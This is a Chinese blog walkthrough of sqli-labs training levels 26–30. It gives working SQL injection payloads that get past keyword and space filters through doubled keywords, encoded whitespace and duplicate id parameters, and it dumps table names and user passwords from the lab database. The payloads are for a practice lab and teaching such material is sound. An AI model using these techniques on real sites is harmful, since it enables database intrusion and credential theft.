首页 > 数据库 >sqlilabs靶场:less-26--less-30

sqlilabs靶场:less-26--less-30

时间:2024-12-17 18:58:37浏览次数:13  
标签:26 group sqlilabs less name table id concat schema

第二十六关:less-26

这关将逻辑运算符,注释符以及空格给过滤了

我们先使用单引号进行闭合

这时我们查看源代码可以看到这一关过滤了很多字符

可以看到这里将or and / -- # 空格等字符都被注释了

空格被过滤了我们可以使用()来代替,and和or可以使用双写来绕过

因为报错注入空格少,所以这里我们使用报错注入

查询数据库名

?id=1' aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1)) aandnd '1

查询表名字段名以及字段下的数据

?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))aandnd'1 

?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))aandnd'1

?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))aandnd'1

我们获取到了数据库的数据自此通关

第26-a关

这关的闭合方式与26关不同,需要闭合')

?id=1'aandnd'1

我们让页面报错发现页面没有报错只有一个警告

这里我们就不能使用报错注入了,所以我们使用布尔盲注

第二十七关:less-27

查看是否可以控制

?id=1

?id=2

可以控制

查看代码是否能直接在MySQL中执行

?id=1'

我们现在找一下他的闭合是什么

我们先试一下--+

发现网站给我们过滤掉了

这时我们试一下 and'1 闭合

页面回显正常说明网站不会过滤 and'1 得到网站是字符型

使用order by排序或者group by分组来猜测表有几个字段

我们猜测它有三列

?id=1' order by 4 and'1

我们发现输入的时候它给我们把空格过滤掉了所以我们使用%09 替换空格

%09 utf-8 可以当空格使用

我们猜测他有四列

?id=1%27%09order%09by%094%09and%271

回显成功

我们猜测它有七列

这时也回显成功,继续试的时候也是这样

发现使用 order by 不管用了,这时我们继续下一步,我们使用联合查询来猜

使用联合查询union select查看回显

?id=9999%27%09uNion%09sElect%091,2,3%09and%09%271

我们查看到 2 回显数据

通过内置表查询数据

(1)使用联合查询查看表的名字

?id=999%27%09uNion%09sElect%091,database(),3%09and%271

表的名字为security

(2)使用联合查询查看security中的所有表名

?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3%09and%271

看到security中有四个表我们要查看的表为users

(3)继续使用联合查询查看users的所有字段名

?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'),3%09and%271

可以看到表中的名字id,username,password

(4)使用联合查询查看表中的数据

?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(id,username,password)%09from%09users),3%09and%271

获得表格中的所有账号密码。

第二十八关:less-28

该关卡过滤了注释符空格还过滤了union和select,所以我们可以使用重写绕过

查询数据库名

?id=0')uniunion%0Aselecton%0Aselect%0A1,database(),3%0Aand('1

查询表名

?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

查字段名

?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

查数据

?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(id,username,password)%0Afrom%0Ausers%0Aand%0A('1

第二十八a关:less-28a

该关卡只过滤union+select其他没有过滤

直接使用联合查询就行

第二十九关:less-29

这关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。

查询表名,字段名,数据

?id=1&id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

?id=1&id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

?id=1&id=-2' union select 1,group_concat(password,username),3 from users--+

第三十关:less-30

第三十关和二十九关差不多,将单引号换成双引号

查询表名,字段名,数据

?id=1&id=-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

?id=1&id=-2" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

?id=1&id=-2" union select 1,group_concat(password,username),3 from users--+

标签:26,group,sqlilabs,less,name,table,id,concat,schema
From: https://blog.csdn.net/2302_80256359/article/details/144542186

相关文章

  • H.265流媒体播放器EasyPlayer.js如何实现RTSP播放延迟优化?
    H5流媒体播放器,作为基于HTML5技术的创新产品,近年来在音频和视频播放领域取得了显著的发展。它不仅为用户提供了流畅、稳定的播放体验,还通过丰富的交互功能增强了用户的参与感。在实际应用时,用户向我们提出了很多需求。其对延迟要求非常苛刻,在此基础上我们对性能进行了一次优化,再......
  • 题解:AT_abc266_c [ABC266C] Convex Quadrilateral
    思路对于一个凸多边形,它的任意内角一定小于\(45\degree\)。如果每相邻两条边的叉积的符号相同就说明它们是顺时针或逆时针排列的,则可以判别出该四边形是否为凸四边形。AC代码#include<bits/stdc++.h>usingnamespacestd;usingll=longlong;intX1,X2,X3,X4,Y1,Y2,Y3......
  • (附源码)SSM养老智慧服务平台-计算机毕设 32677
    SSM养老智慧服务平台摘  要随着人口老龄化的加剧,养老问题成为了全球范围内的重要课题。在社区养老服务中,传统的养老模式已经无法满足社会的需求,需要建立更加高效和多元化的养老服务管理系统。养老智慧服务平台是一种通过信息技术手段提供养老服务的新型管理系统。它通过......
  • 11.26
    测量和实验是所有改善程序性能尝试的基础。本内容及将介绍两种测量性能的工具软件:分析器和计时器软件。我将讨论如何设计性能测量实验,使得测量结果更有指导意义,而不是误导我们。最基本和最频繁地执行的软件性能测量会告诉我们“需要多长时间”。执行函数需要多长时间?从磁盘读取配......
  • unittest-26-通过命令行执行测试(1)-指定测试对象
    1、前置准备参考:官方地址:https://docs.python.org/zh-cn/3.11/library/unittest.html#command-line-interface官方简要说明:unittest模块可以通过命令行运行模块、类和独立测试方法的测试个人对应视频:https://www.bilibili.com/video/BV1sLYQe8EN7?vd_source=08c7173......
  • 在Less中“Source Map Less Inline”选项代表什么?
    在Less中,“SourceMapLessInline”选项与源代码映射(SourceMap)相关,这是一个对于前端开发者在调试过程中非常重要的工具。以下是对该选项的详细解释:源代码映射(SourceMap)的作用:SourceMap是一种将生产环境中的压缩代码映射回原始源代码的方法。在前端开发中,JavaScript、CSS等文......
  • 在Less中命令行里编译的命令是什么?
    在Less中,命令行里编译的命令主要涉及到lessc,这是Less的命令行编译器。以下是详细步骤和说明:安装Node.js:首先,需要确保你的系统中已经安装了Node.js,因为npm(Node包管理器)是随同Node.js一起安装的,而我们将通过npm来安装Less。全局安装Less:使用npm全局安装Less的命令是npminst......
  • 在LESS中如何定义变量上下文中的范围?
    在LESS中,变量的作用范围是其被声明的位置和该位置之后的所有区域,直到被另一个同名的变量声明覆盖。LESS没有提供类似于其他编程语言中的块级作用域或函数作用域的概念。然而,你可以通过一些技巧来模拟变量的“局部”作用域。在混合(Mixin)中定义变量:在LESS中,你可以在混合中定义变量......
  • 你有写过Less的插件吗?
    很抱歉,我本身并没有直接写过Less的插件。但是我可以为你提供一些关于如何编写Less插件的信息。在前端开发中,Less是一种动态样式语言,它扩展了CSS语言,增加了变量、Mixin、函数等特性,使CSS更易维护和扩展。如果你想为Less编写插件,通常是为了扩展Less的功能,比如添加新的函数、Mixin等......
  • 在Less中数据URI的作用是什么?
    在Less中,数据URI(DataURI)本身并不直接作为一个功能或特性存在,但URI(包括数据URI)在前端开发中有着广泛的应用。数据URI是一种将小文件(如图像、音频、视频、CSS文件等)直接嵌入到HTML、CSS或JavaScript中的技术,使用Base64编码将文件内容转换为字符串格式。在Less中,你可能会遇到将数据U......